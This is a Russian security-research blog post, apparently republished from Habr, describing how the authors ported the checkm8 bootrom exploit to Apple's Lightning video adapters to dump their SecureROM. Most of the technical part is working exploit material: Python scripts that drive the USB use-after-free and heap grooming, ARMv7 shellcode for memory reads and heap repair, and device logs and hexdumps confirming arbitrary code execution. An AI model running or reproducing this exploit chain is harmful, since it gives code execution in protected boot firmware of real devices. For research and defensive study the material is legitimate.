- PVSM.RU - https://www.pvsm.ru -

checkm8 для Lightning-видеоадаптеров Apple

checkm8 для Lightning-видеоадаптеров Apple - 1

Появление эксплойта checkm8 можно назвать одним из важнейших событий прошедшего года для исследователей продукции Apple. Ранее мы уже опубликовали технический анализ [1] этого эксплойта. Сейчас сообщество активно развивает джейлбрейк checkra1n [2] на основе checkm8, поддерживающий линейку устройств iPhone от 5s до X и позволяющий установить на iOS пакетный менеджер Cydia и с его помощью устанавливать различные пакеты и твики.

checkm8 в значительной степени опирается на смещения различных функций в SecureROM и данных в SRAM. В связи с этим могут возникнуть вопросы: как изначально был извлечен SecureROM конкретного устройства? Был ли он извлечен с помощью уязвимостей, лежащих в основе checkm8, или каким-то другим образом?

Наверное, ответить на эти вопросы могут лишь сами исследователи, принимавшие участие в разработке checkm8. Однако, в этой статье мы расскажем об одном из подходов к извлечению SecureROM, основанном на уязвимостях, используемых в checkm8, и требующем минимальных знаний о структуре памяти устройства. Описанный метод не является универсальным и будет работать только на устройствах без технологии безопасности W^X. В качестве примера мы рассмотрим Lightning-видеоадаптер Apple (да, в этом адаптере есть свой SoC с SecureROM) и продемонстрируем не только извлечение SecureROM, но и полную реализацию функциональности checkm8 для этого адаптера.

Введение

В конце 2012-го Apple выпустила два видеоадаптера для разъема Lightning:

  • Цифровой AV-адаптер Lightning — адаптер HDMI, поддерживает вывод видео и звука;
  • Адаптер Lightning/VGA — адаптер VGA, поддерживает только вывод видео.

Спустя некоторое время пользователи обнаружили [3], что внутри адаптеров есть полноценный SoC с архитектурой ARMS5L8747 (далее это название будет использоваться, когда речь идет о SoC исследуемого адаптера). Возможно, этим и объясняется их довольно высокая по сравнению с другими подобными устройствами стоимость. Согласно The iPhone Wiki [4], рассматриваемые видеоадаптеры имеют кодовое название Haywire, а их прошивка загружается динамически при подключении к некоторому устройству (например, к iPhone) через Lightning.

checkm8 для Lightning-видеоадаптеров Apple - 2

В прошлом году в Twitter появился тред [5] за авторством @nyan_satan [6] (перевод на русский на Хабре [7]), в котором была собрана и дополнена вся имеющаяся информация о видеоадаптерах Apple. В том числе и о том, как подключить адаптер к ПК по USB.

Версия SecureROM у SoC S5L8747, который используется в устройствах Haywire, — 1413.8. Судя по версии, эти устройства почти наверняка уязвимы к checkm8, но на момент исследования проект ipwndfu [8] и его форки не поддерживали S5L8747. Более того, в открытом доступе нам не удалось найти дамп SecureROM для S5L8747, из-за чего появился интерес к эксплуатации checkm8 на Haywire.

Прежде всего, нам нужно было подключить устройство к ПК. В твитах @nyan_satan были информация о том, как это сделать [9], и схема подключения [10]. С интерфейсными платами для Lightning и Micro-USB подключиться к Haywire довольно просто, но оказалось, что достать их в короткие сроки (а нам хотелось закончить исследование в течение недели) трудно, поэтому мы решили воспользоваться подручными средствами: макетной платной, несколькими соединительными проводами, ненужным USB-кабелем, понижающим преобразователем на базе AMS1117, разъемом Lightning (был снят с другого, безнадежно испорченного в ходе экспериментов, адаптера Haywire), двухсторонним скотчем и синей изолентой. В результате мы получили следующее:

checkm8 для Lightning-видеоадаптеров Apple - 3

checkm8 для Lightning-видеоадаптеров Apple - 4

Несмотря на свою неприглядность, получившаяся конструкция вполне работоспособна. При подключении к ПК в выводе dmesg мы получили заветную строку, и можно было приступать к более интересной части:

[  167.757532] usb 1-2: new high-speed USB device number 11 using xhci_hcd
[  167.888010] usb 1-2: New USB device found, idVendor=05ac, idProduct=1227
[  167.888015] usb 1-2: New USB device strings: Mfr=2, Product=3, SerialNumber=4
[  167.888017] usb 1-2: Product: Apple Mobile Device (DFU Mode)
[  167.888020] usb 1-2: Manufacturer: Apple Inc.
[  167.888022] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]

Поиск необходимых констант

Чтобы лучше понять изложенное ниже, нужно иметь представление о том, как работает эксплойт checkm8 и какие уязвимости он использует. Все это описано на примере iPhone 7 в статье "Технический анализ эксплойта checkm8" [1]. Сопоставив различные SoC и версии SecureROM, мы пришли к выводу, что S5L8747 больше всего похож на SoC S5L8947, используемый в Apple TV третьего поколения, поэтому эксплуатация уязвимостей будет отличаться от эксплуатации в iPhone 7. Рассмотрим наиболее важные различия между iPhone7 и Haywire:

  • В отличие от iPhone 7, где использовалась 64-битная архитектура armv8, в Haywire — 32-битная armv7. Кроме того, в Haywire на этапе исполнения SecureROM также отсутствуют технологии, препятствующие исполнению записываемой памяти (отсутствует WXN — бит в регистре SCTLR, препятствующий исполнению регионов памяти, доступных для записи; нет ограничений со стороны MMU). В связи с этим нет необходимости в callback-chaincode-reuse подходе, используемом для iPhone 7. Вместо этого управление будет передаваться напрямую на шеллкод в INSECURE_MEMORY;
  • В SecureROM 1704.10 и более ранних версий нет возможности контролировать утечки памяти, так как пакет нулевой длины (zero-length-packet) создается для каждого запроса в очереди. Поэтому на Haywire будет использоваться другой подход heap feng-shui: свободная область небольшого размера будет создаваться в конце кучи путем почти полного заполнения кучи с помощью утечек памяти. В остальном принцип не изменился: на очередной итерации работы DFU часть выделений памяти попадет в небольшой свободный чанк в конец кучи, остальное будет выделено в начале с некоторым смещением относительно предыдущей итерации, за счет чего можно будет перезаписать конфигурационные дескрипторы и объект запроса.

Для удачной эксплуатации checkm8 на Haywire необходимо определить основные параметры:

  • Количество запросов для заполнения кучи;
  • Необходимое смещение для переполнения объекта поля callback в объекте usb_device_io_request.

Для поиска необходимых значений можно воспользоваться перебором, опираясь на реакцию исследуемого устройства, которую можно различить с ПК. В ходе экспериментов выяснилось, что можно ориентироваться на сообщения ядра (вывод команды dmesg -w; исследование производилось на ПК под управлением ОС Ubuntu 16.04): так можно определить момент перезагрузки устройства, а также переполнение конфигурационного дескриптора или исполнение бесконечного цикла на устройстве. Также полезными оказались исключения, возникающие при отправке запросов.

Итак, напишем на основе checkm8.py скрипт для поиска нужных значений. В нем сделаем отправку USB-запросов более информативной с помощью вывода исключений, и определим переменные, значения которых нужно найти:

  • large_leak — необходимое количество запросов для удачного heap feng-shui;
  • padding — смещение от UaF-указателя до первого объекта usb_device_io_request на куче;
  • overwrite — значение, которым будет перезаписан usb_device_io_request.

checkm8-brute.py - скрипт для поиска нужных значений

from checkm8 import *

# make usb_req_* functions more informative
def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
    try:
        device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
    except usb.core.USBError as ex:
        print ex  # need for more information

def usb_req_stall(device):   libusb1_no_error_ctrl_transfer(device,  0x2, 3,   0x0,  0x80,  0x0, 10)
def usb_req_leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40,  1)
def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41,  1)

if __name__ == '__main__':
    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number

    # unknown values, need to brute
    large_leak = 100
    padding = 0x7c0
    overwrite = ''
    payload = ''
    assert len(overwrite) + padding <= 0x800

    # heap feng-shui
    usb_req_stall(device)
    for i in range(large_leak):
        usb_req_leak(device)
    usb_req_no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    # set global state and restart usb
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    # heap occupation
    device = dfu.acquire_device()
    usb_req_stall(device)
    usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding + overwrite, 100)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)

При запуске можно заметить, что на этапе heap feng-shui на определенном запросе исключение меняется с [Errno 110] Operation timed out на [Errno 19] No such device (it may have been disconnected). Дело в том, что размер кучи в Haywire значительно меньше, чем на устройствах iPhone, и даже 100 объектов запроса не могут быть в ней размещены. Однако, это отличная возможность определить необходимое значение large_leak. Так как исключение меняется на 45-ом запросе, будем перебирать, начиная с него.

checkm8 для Lightning-видеоадаптеров Apple - 5

На значении 43 в выводе dmesg -w можно обнаружить предупреждения о неожиданном конфигурационном дескрипторе. Если посмотреть в Wireshark на USB-пакеты, можно убедиться, что запрашиваемый дескриптор оказался переполнен.

checkm8 для Lightning-видеоадаптеров Apple - 6

Таким образом, поиск необходимых констант почти закончен, и, экспериментируя со значением padding и overwrite, можно найти точное смещение первого дескриптора. При значении 43 — это 0x7a0, из-за чего значение usb_device_io_request находится за пределами UaF-буфера, и необходимо еще уменьшить large_leak. В ходе дальнейших экспериментов были получены значения large_leak = 41 и смещения первого дескриптора 0x6e0. Убедимся в правильности, перезаписав размер дескриптора с помощью overwrite = 'x09x02xff'. В Wireshark мы увидим следующий результат (вместо 25 ожидаемых байт было считано 255):

checkm8 для Lightning-видеоадаптеров Apple - 7

Полученные данные (значения дескрипторов и метаданные кучи) следует сохранить, они понадобятся в дальнейшем. Значение padding для переполнения usb_device_io_request вычисляется так: 0x6e0 (смещение до первого конфигурационного дескриптора) + 0x20 (размер области данных чанка с первым конфигурационным дескриптором) + 0x40 (размер целого чанка второго конфигурационного дескриптора) + 0x20 (размер метаданных чанка с usb_device_io_request) = 0x760.

Теперь можно передать управление по некоторому адресу. Предположительно, с помощью чтения за пределы конфигурационного дескриптора можно довольно точно определить нужные адреса. Но мы решили воспользоваться утекшими исходными кодами iBoot, которые достаточно легко найти в публичном доступе: из них можно узнать, что адрес загрузки для SoC S5L87470x22000000. Чтобы убедиться в этом, установим следующие значения искомых переменных и бесконечный цикл в качестве полезной нагрузки:

large_leak = 41
padding = 0x760
overwrite = struct.pack('<20xI', 0x22000000)
payload = 'xfexffxffxea'  # armv7 inf-loop

При отправке USB-запросов в полученном коде возникнут необычные задержки, а в логе dmesg через некоторое время появятся следующие сообщения:

[ 3097.066887] usb 1-2: SerialNumber: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
[ 3097.384557] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3102.497002] usb 1-2: device descriptor read/64, error -110
[ 3117.714855] usb 1-2: device descriptor read/64, error -110
[ 3117.930756] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3123.043369] usb 1-2: device descriptor read/64, error -110
[ 3138.261119] usb 1-2: device descriptor read/64, error -110
[ 3138.477092] usb 1-2: reset high-speed USB device number 98 using xhci_hcd
[ 3143.493674] xhci_hcd 0000:00:14.0: Timeout while waiting for setup device command
[ 3143.697698] usb 1-2: Device not responding to setup address.
[ 3143.901633] usb 1-2: device not accepting address 98, error -71
[ 3144.013617] usb 1-2: reset high-speed USB device number 98 using xhci_hcd

Устройство перестало отвечать на USB-запросы из-за исполнения бесконечного цикла. Таким образом, была получена возможность исполнять произвольный код в SecureROM на Lightning-видеоадаптере Apple, и теперь можно приступить непосредственно к его извлечению.

Извлечение SecureROM Haywire

Для извлечения SecureROM мы разработали шеллкод, который ищет строковые дескрипторы на куче и перезаписывает их данными из желаемого адреса. Для этого подойдет дескриптор названия продукта, в котором обычно содержится строка Apple Mobile Device (DFU Mode). Сами дескрипторы имеют следующую структуру: первый байт отведен под размер дескриптора, второй — его тип, а затем идет строка в кодировке UTF-16-LE. Для оптимизации в шеллкоде можно также изменить и размер найденного дескриптора на 0xff, чтобы за один раз извлекать 0xfd байт (т.к. два байта используются для размера и типа дескриптора). При переполнении usb_device_io_request также необходимо правильно переполнить метаданные кучи и значения дескрипторов (эти данные мы получили ранее за счет чтения за пределы конфигурационного дескриптора). Приведем код результата:

checkm8-leak.py - скрипт демонстрации произвольного чтения

from checkm8 import *
from keystone import *
from hexdump import *

if __name__ == '__main__':
    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number

    # unknown values, need to brute
    large_leak = 41
    padding = 0x6e0
    conf_desc = '0902190001010580320904000000fe01'
                '00000721010a00000800000000000000'.decode('hex')
    chunk_meta = '08000000020000000000000000000000'
                 '00000000000000000000000000000000'.decode('hex')  
    overwrite = conf_desc + chunk_meta + conf_desc + chunk_meta +
        struct.pack('<20xI', 0x22000000)
    assert len(overwrite) + padding <= 0x800

    payload = '''
        push {r1-r7,lr}

        ldr r4, =0x2201c000
        mov r5, r4

        pattern_matching_loop:
        sub r4, r4, #1

        mov r0, #0
        adr r1, ptrn

        compare_loop:
        add r2, r4, r0, lsl #1
        cmp r2, r5
        bge pattern_matching_loop

        ldrb r3, [r1,r0]
        ldrb r6, [r2]
        cmp r3, r6
        bne pattern_matching_loop
        add r0, r0, #1
        cmp r0, #30
        beq found
        b compare_loop

        found:
        mov r0, #0xff
        strb r0, [r4, #-0x2]

        mov r0, #0
        mov r1, r4
        ldr r2, =0x200 # target address

        rewrite_loop:
        ldrb r3, [r2,r0]
        strb r3, [r1,r0]
        add r0, r0, #1
        cmp r0, #0xfd
        ble rewrite_loop

        pop {r1-r7,pc}

        ptrn:
        .asciz "Apple Mobile Device (DFU Mode)"
    '''

    ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
    payload, _ = ks.asm(payload)
    payload = ''.join(chr(i) for i in payload)

    # heap feng-shui
    usb_req_stall(device)
    for i in range(large_leak):
        usb_req_leak(device)
    usb_req_no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    # set global state and restart usb
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    # heap occupation
    device = dfu.acquire_device()
    usb_req_stall(device)
    usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, '' * padding + overwrite, 100)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    print '(%0.2f seconds)' % (time.time() - start)
    desc =  device.ctrl_transfer(0x80, 6, 0x303, 0, 0xff, 50)
    leak = ''.join(chr(i) for i in desc)[2:]
    hexdump(leak)
    dfu.release_device(device)

В качестве адреса для чтения был выбран 0x200, так как по этому адресу должна быть строка с версией SecureROM. При запуске получаем ожидаемое значение:

# python ./checkm8-leak.py
Found: CPID:8747 CPRV:10 CPFM:03 SCEP:10 BDID:02 ECID:000002FC9B42B92C IBFL:00 SRTG:[iBoot-1413.8]
(1.26 seconds)
00000000: 53 65 63 75 72 65 52 4F  4D 20 66 6F 72 20 73 35  SecureROM for s5
00000010: 6C 38 37 34 37 78 73 69  2C 20 43 6F 70 79 72 69  l8747xsi, Copyri
00000020: 67 68 74 20 32 30 31 31  2C 20 41 70 70 6C 65 20  ght 2011, Apple
00000030: 49 6E 63 2E 00 00 00 00  00 00 00 00 00 00 00 00  Inc.............
00000040: 52 45 4C 45 41 53 45 00  00 00 00 00 00 00 00 00  RELEASE.........
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 69 42 6F 6F 74 2D 31 34  31 33 2E 38 00 00 00 00  iBoot-1413.8....
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000C0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000D0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000E0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000F0: 00 00 00 00 00 00 00 00  00 00 00 00 00           .............

Используя данный подход, можно полностью сдампить весь SecureROM. За счет того, что Haywire всегда запускается в режиме DFU, этот процесс можно полностью автоматизировать, и на весь дамп потребуется менее часа. После этого можно приступить к поиску необходимых смещений для портирования checkm8 на Haywire.

Портирование checkm8 на Haywire

Для поиска необходимых функций и констант можно сравнивать SecureROM устройств, для которых checkm8 уже реализован, и SecureROM, извлеченный с Haywire. Сам процесс поиска описывать не будем, результат можете посмотреть в репозитории [11]. К сожалению, после того, как все значения были найдены, ничего не заработало, устройство не переходило в pwned-DFU режим. Оказалось, что это вызвано двумя проблемами: отсутствие свободного пространства в куче и повреждение метаданных кучи. Первую проблему наверняка можно решить, подобрав другое, меньшее значение large_leak, а вторую — перезаписывая конфигурационные дескрипторы и метаданные чанков валидными значениями. Вместо этого можно воспользоваться дополнительным шеллкодом для восстановления метаданных и освобождения кучи, и затем уже передать управление на полезную нагрузку checkm8. В результате получился следующий шеллкод:

   push {r1-r7,lr}
   ldr r4, =0x2201b4e0  # leaked requests address
   mov r5, #0
   ldr r6, =0x361c # free function
   add r6, r6, #1
   # we need more free space, so clear leaked requests
loop:
   add r0, r4, r5
   blx r6
   add r5, r5, #0x40
   cmp r5, #0x780
   bne loop

   # restore original chunk meta-data
   ldr r4, =0x2201b340  # second conf descriptor chunk header
   ldr r0, =0x00000008  # original chunk header values
   ldr r1, =0x00000002
   str r0, [r4]
   str r1, [r4, #4]
   pop {r1-r7,lr}
   ldr r0, =0x22000000
   bx r0  # jump to checkm8 payload

Необходимые адреса на куче и нужные значения метаданных, используемые в шеллкоде, были получены с помощью метода чтения по произвольному адресу, описанному в предыдущей части статьи.

В результате был получен checkm8 с полностью рабочими примитивами: чтения и записи памяти, а также исполнения функций по произвольному адресу. Дополнив другие значения, используемые в ipwndfu, удалось получить доступ к функции шифрования и дешифрования с помощью GID-ключа и затем расшифровать вторую стадию загрузки Haywire с помощью утилиты xpwntool [12]:

checkm8 для Lightning-видеоадаптеров Apple - 8

Вывод

Описанный в статье метод извлечения SecureROM не требует особых версий устройств со включенной отладкой, дорогостоящих отладочных кабелей или специализированного оборудования. Конечно, этот метод работает далеко не на всех устройствах, а лишь на тех, где возможно исполнение кода в секции данных. В случае Apple, это устройства с 32-битной архитектурой armv7. checkm8 уже поддерживает большинство таких устройств, но не Haywire, именно поэтому мы и взяли его в качестве примера.

Ознакомиться с результатом можно в репозитории ipwndfu-haywire [13].

Теперь, имея возможность исполнять произвольный код в SecureROM, наконец-то можно попробовать запустить DOOM [14] прямо на видеоадаптере Haywire.

Надеемся, что статья была интересной и полезной. Хотя и описанный подход специфичен для устройств Apple и уязвимостей из checkm8, он и его отдельные части могут быть применены в контексте других устройств.

Первоисточник [15]

Ссылки

  1. Технический анализ эксплойта checkm8 [1]
  2. Luca Todesco, The One Weird Trick SecureROM Hates [16]
  3. checkra1n [2]
  4. Panic Blog, The Lightning Digital AV Adapter Surprise [3]
  5. The iPhone Wiki, Haywire [4]
  6. @nyan_satan, Haywire [5]
  7. Habr, Как работает видеоадаптер Apple Lightning [7]
  8. ipwndfu [8]
  9. ipwndfu-haywire [13]

Автор: a1exdandy

Источник [17]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/vulnerability/345004

Ссылки в тексте:

[1] опубликовали технический анализ: https://habr.com/ru/company/dsec/blog/471668/

[2] checkra1n: https://checkra.in/

[3] пользователи обнаружили: https://panic.com/blog/the-lightning-digital-av-adapter-surprise/

[4] The iPhone Wiki: https://www.theiphonewiki.com/wiki/Haywire

[5] тред: https://twitter.com/nyan_satan/status/1155148789977636864

[6] @nyan_satan: https://twitter.com/nyan_satan

[7] перевод на русский на Хабре: https://habr.com/ru/post/461607/

[8] ipwndfu: https://github.com/axi0mX/ipwndfu

[9] как это сделать: https://twitter.com/nyan_satan/status/1155149072036237313

[10] схема подключения: https://twitter.com/nyan_satan/status/1155149135600934912

[11] репозитории: https://github.com/a1exdandy/ipwndfu-haywire/blob/master/checkm8.py#L166

[12] xpwntool: https://github.com/planetbeing/xpwn/

[13] ipwndfu-haywire: https://github.com/a1exdandy/ipwndfu-haywire

[14] запустить DOOM: https://twitter.com/JacobEthanWhite/status/1210669461897805824

[15] Первоисточник: https://dsec.ru/blog/checkm8-dlya-lightning-videoadapterov-apple/

[16] Luca Todesco, The One Weird Trick SecureROM Hates: http://iokit.racing/oneweirdtrick.pdf

[17] Источник: https://habr.com/ru/post/485216/?utm_source=habrahabr&utm_medium=rss&utm_campaign=485216